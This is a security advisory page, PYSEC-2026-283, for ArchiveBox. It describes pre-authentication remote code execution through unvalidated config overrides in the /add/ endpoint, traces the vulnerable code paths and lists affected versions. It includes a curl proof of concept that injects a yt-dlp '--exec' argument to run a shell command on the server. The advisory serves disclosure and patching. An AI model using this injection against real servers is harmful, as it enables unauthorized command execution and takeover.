PYSEC-2026-283

See a problem?
Import Source
https://github.com/pypa/advisory-database/blob/main/vulns/archivebox/PYSEC-2026-283.yaml
JSON Data
https://api.osv.dev/v1/vulns/PYSEC-2026-283
Aliases
Published
2026-06-29T11:50:49.398282Z
Modified
2026-06-29T12:15:04.924420225Z
Severity
  • 9.8 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
  • 9.3 (Critical) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N CVSS Calculator
Summary
ArchiveBox Vulnerable to RCE via unvalidated per-crawl config overrides in AddView
Details

The /add/ endpoint (AddView in core/views.py) accepts a config JSON field that gets merged into the crawl config without validation. This config is exported as environment variables when archive plugins run, allowing injection of arbitrary tool arguments to achieve RCE.

When PUBLICADDVIEW=True (common for bookmarklet usage), this is exploitable without authentication. The endpoint is also @csrf_exempt.

Affected code:

core/views.py:887 - user config extracted with no validation:

custom_config = form.cleaned_data.get("config") or {}

core/views.py:918 - merged into crawl config:

config.update(custom_config)

config/configset.py:255-256 - crawl config applied with high priority:

 if crawl and hasattr(crawl, "config") and crawl.config:
    config.update(crawl.config)

hooks.py:398-411 - config exported as env vars:

for key, value in config.items():
    if key in SKIP_KEYS: continue
    env[key] = str(value)

plugins/ytdlp/onSnapshot02ytdlp.bg.py:122-123 - env var args passed to yt-dlp:

ytdlp_args_extra = get_env_array("YTDLP_ARGS_EXTRA", [])
 cmd.extend(ytdlp_args_extra)

PoC (pre-auth when PUBLICADDVIEW=True):

curl -X POST http://localhost:8000/add/ \
  -d "url=https://www.youtube.com/watch?v=dQw4w9WgXcQ" \
  -d "depth=0" \
  -d "config={\"YTDLP_ARGS_EXTRA\": \"[\\\"--exec\\\", \\\"id > /tmp/pwned\\\"]\"}" 

After the crawl runs, yt-dlp executes id > /tmp/pwned via its --exec flag.

Same approach works with GALLERYDLARGSEXTRA (gallery-dl --exec), or overriding any *_BINARY key.

Impact: Remote code execution on the ArchiveBox server. Pre-auth when PUBLICADDVIEW=True.

References

Affected packages

PyPI / archivebox

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Last affected
0.8.6rc0

Affected versions

0.*
0.4.6
0.4.8
0.4.9
0.4.11
0.4.12
0.4.13
0.4.14
0.4.15
0.4.16
0.4.17
0.4.18
0.4.19
0.4.20
0.4.21
0.5.0
0.5.1
0.5.2
0.5.3
0.5.4
0.6.0
0.6.1
0.6.2
0.7.0
0.7.1
0.7.2
0.7.4
0.8.5rc0
0.8.5rc1
0.8.5rc2
0.8.5rc3
0.8.5rc4
0.8.5rc5
0.8.5rc6
0.8.5rc8
0.8.5rc9
0.8.5rc10
0.8.5rc11
0.8.5rc12
0.8.5rc13
0.8.5rc14
0.8.5rc15
0.8.5rc16
0.8.5rc17
0.8.5rc18
0.8.5rc20
0.8.5rc21
0.8.5rc22
0.8.5rc23
0.8.5rc24
0.8.5rc25
0.8.5rc26
0.8.5rc27
0.8.5rc28
0.8.5rc29
0.8.5rc30
0.8.5rc31
0.8.5rc32
0.8.5rc33
0.8.5rc34
0.8.5rc35
0.8.5rc36
0.8.5rc37
0.8.5rc38
0.8.5rc39
0.8.5rc40
0.8.5rc41
0.8.5rc42
0.8.5rc43
0.8.5rc44
0.8.5rc45
0.8.5rc46
0.8.5rc47
0.8.5rc48
0.8.5rc49
0.8.5rc50
0.8.5rc51

Database specific

source
"https://github.com/pypa/advisory-database/blob/main/vulns/archivebox/PYSEC-2026-283.yaml"